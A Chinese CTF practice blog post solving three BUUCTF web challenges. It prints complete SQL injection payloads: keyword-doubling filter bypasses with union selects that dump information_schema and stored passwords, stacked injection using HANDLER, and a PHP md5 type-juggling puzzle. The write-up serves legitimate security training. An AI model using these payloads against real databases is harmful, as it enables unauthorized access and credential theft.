BUUCTF刷题笔记
BUUCTF刷题笔记
[极客大挑战 2019]BabySQL
从这句话我们可以看出,这个网站的后台是做了过滤处理的
这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入
输入1‘,看看返回的结果
返回结果说明这个是字符型的SQL注入
下面我们来进行一下注释
发现是这个结果,所以肯定了我们的猜测
下面要进行的是对其中的列进行爆破
输入:
1' order by 3 #
可以看到再其中没有or
我们采取的是对其进行重复的拼写进行绕过后台过滤
输入:
1’ oorrder by 3#`
发现还是不对,说明可能对其中的by也进行了过滤的要求
输入:
1‘ oorrder bbyy 4#
下面试探列数
发现为三的时候是对的
爆破数据库的名字输入:
1’ uniunionon seleselectct 1,2,database()#
表爆破输入:
1' uniunionon seselectlect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema = 'geek' #
爆列输入:
1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_name= 'b4bsql' #
字段爆破:
这个。。。,直接把password给过滤了。
输入:
1' ununionion selselectect 1,2,group_concat(username,passwoorrd) frfromom geek.b4bsql#
找到flag
Black_list
首先我么并不知道该做些什么的,但是现在我们要对其进行一下检验是否是有SQL注入攻击,输入:
1'
可以判断是字符型的错误
输入:
1’ or 1=1 #
判断数据数据库中的回显位数输入:
1' order by 3 #
可以得出回显的列数是不是两列输入:
1’ order by 2 #
现在输入:
-1‘ union select 1,database() #
返回的显示的是对输入的命令进行了过滤,将select过滤掉了
有另外一种的方法,就是堆叠注入的手法
首先什么是堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束;在结束一个sql语句后面构建下一条语句会一起执行吗?因此这个想法也造就了堆叠注入。而union injection(联合注入)同样也是将两条语句联合在一起执行的,但是两者之间又有什么不一样的区别的呢?主要是集中在union后面的语句执行的是任意的语句,而堆叠注入是任意的语句。
payload:
1';show tables;#
发现数据库的名字输入:
1'; show columns from `FlagHere`; #
发现flag输入:
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
得出flag
[MRCTF2020]Ez_bypass
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) {echo 'You got the first step';if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd)){if($passwd==1234567){echo 'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo "can you think twice??";}}else{echo 'You can not get it !';}}else{die('only one way to get the flag');}
}else {echo "You are not a real hacker!";}
}
else{die('Please input first');
}
这里主要是GET型传参
HTTP的GET请求:从指定的资源请求数据。
HTTP的GET请求方式:GET提交的数据会放在URL之后,并且会以?的方式分割URL和传输数据,参数之间以&相连。
BUUCTF刷题笔记相关推荐
- Github最强算法刷题笔记.pdf
资料一 昨晚逛GitHub,无意中看到一位大佬(https://github.com/halfrost)的算法刷题笔记,感觉发现了宝藏!有些小伙伴可能已经发现了,但咱这里还是忍不住安利一波,怕有些小伙 ...
- 我收藏的谷歌和阿里大佬的刷题笔记
金三银四大家在准备校招.社招,或者闲暇的时候,都可以刷刷 Leetcode,保持良好的手感. 之前刷题,一直觉得漫无目的地刷,效率很低.后来发现了两个刷题笔记,谷歌大佬高畅和BAT大佬霜神写的 Lee ...
- 三级网络技术刷题笔记
三级网络技术刷题笔记 RPR与FDDI一样使用双环结构 在RPR环中,源节点向目的节点成功发出的数据帧要由目的节点从环中收回 RPR中每个节点都执行SRP公平算法 RPR环能够在50ms内实现自愈 O ...
- 卷进大厂系列之LeetCode刷题笔记:二分查找(简单)
LeetCode刷题笔记:二分查找(简单) 学算法,刷力扣,加油卷,进大厂! 题目描述 涉及算法 题目解答 学算法,刷力扣,加油卷,进大厂! 题目描述 力扣题目链接 给定一个 n 个元素有序的(升序) ...
- 发现一位大佬的算法刷题笔记PDF
昨晚逛GitHub,无意中看到一位大佬(https://github.com/halfrost)的算法刷题笔记,感觉发现了宝藏!有些小伙伴可能已经发现了,但咱这里还是忍不住安利一波,怕有些小伙伴没有看 ...
- 阿里大神的刷题笔记.pdf
今天在浏览 Github 的时候,发现了一个让人眼前一亮的项目,一本厚厚的算法刷题笔记,来自一位阿里的资深技术大神. 作者在大学期间参加过三年的 ACM 比赛,对算法有着较为透彻的了解,在找工作之前, ...
- 赞!Google 资深软件工程师 LeetCode 刷题笔记首次公开
有人说写代码就像我们平时开车,仅凭经验你就可以将车开走:但当有一天,这辆车出问题跑不起来的时候,你不懂汽车的运行机制,你要怎么排除和解决问题?所以拥有扎实的数据结构和算法,才能开好编程这辆车. 作为程 ...
- 经典算法刷题笔记pdf
昨晚逛GitHub,无意中看到一位大佬(https://github.com/halfrost)的算法刷题笔记,感觉发现了宝藏!有些小伙伴可能已经发现了,但咱这里还是忍不住安利一波,怕有些小伙伴没有看 ...
- 【c++算法刷题笔记】——洛谷2
1. 洛谷练习--P1579 哥德巴赫猜想(升级版) 题目描述: 现在请你编一个程序验证哥德巴赫猜想. 先给出一个奇数n,要求输出3个质数,这3个质数之和等于输入的奇数. 输入格式: 仅有一行,包含一 ...
最新文章
- 神经网络与机器学习 笔记—反向传播算法(BP)
- MinGW-W64安装及其使用
- 向mvc controller传递json数组
- JavaScript 设计模式之构造函数模式
- Hadoop生态hive(六)Hive QL表
- linux 脚本 语法错误,从windows拷贝到linux的脚本报错:未找到命令 or 语法错误
- 免费使用函数计算,只有在阿里云能实现
- win台式找不到计算机管理,win10系统计算机右键-管理打不开windows找不到文件的解决方法...
- css学习_css书写规范
- android反调试之父子调试
- 华为云服务器如何登录
- photoshop2019及其破解器
- 【ACwing】一、基础算法:1.1 递归枚举(指数型)
- 【CANdelaStudio编辑CDD】-0.1-如何对比两个CDD诊断描述文件
- 云出阿里见月明(二)
- 微信小程序开发—— tabbar 配置
- Redis过期时间及过期策略
- JO Smart聚视频 TV端软件
- java实现头像上传 前后端
- 秒杀系统的技术架构设计与实现
热门文章
- [ZT]千兆光纤 GBIC和SFP接口规格介绍
- mac搜索不到wifi wtg_Mac连不上WiFi怎么办?Mac连不上无线网络解决办法
- 极路由添加静态路由表_如何将静态TCP / IP路由添加到Windows路由表
- 多智能体强化学习:合作关系设定下的多智能体强化学习
- 如何消除图片中的运动模糊?
- 敏捷开发产品管理系列之四:新产品研发
- matlab四足仿真,基于MATLAB的四足机器人建模与仿真.docx
- 野火FPGA征途Pro学习笔记(IP核)
- loadlibrary failed with error 126:找不到指定模块 解决方法
- 【转】广告拦截(含360极速浏览器)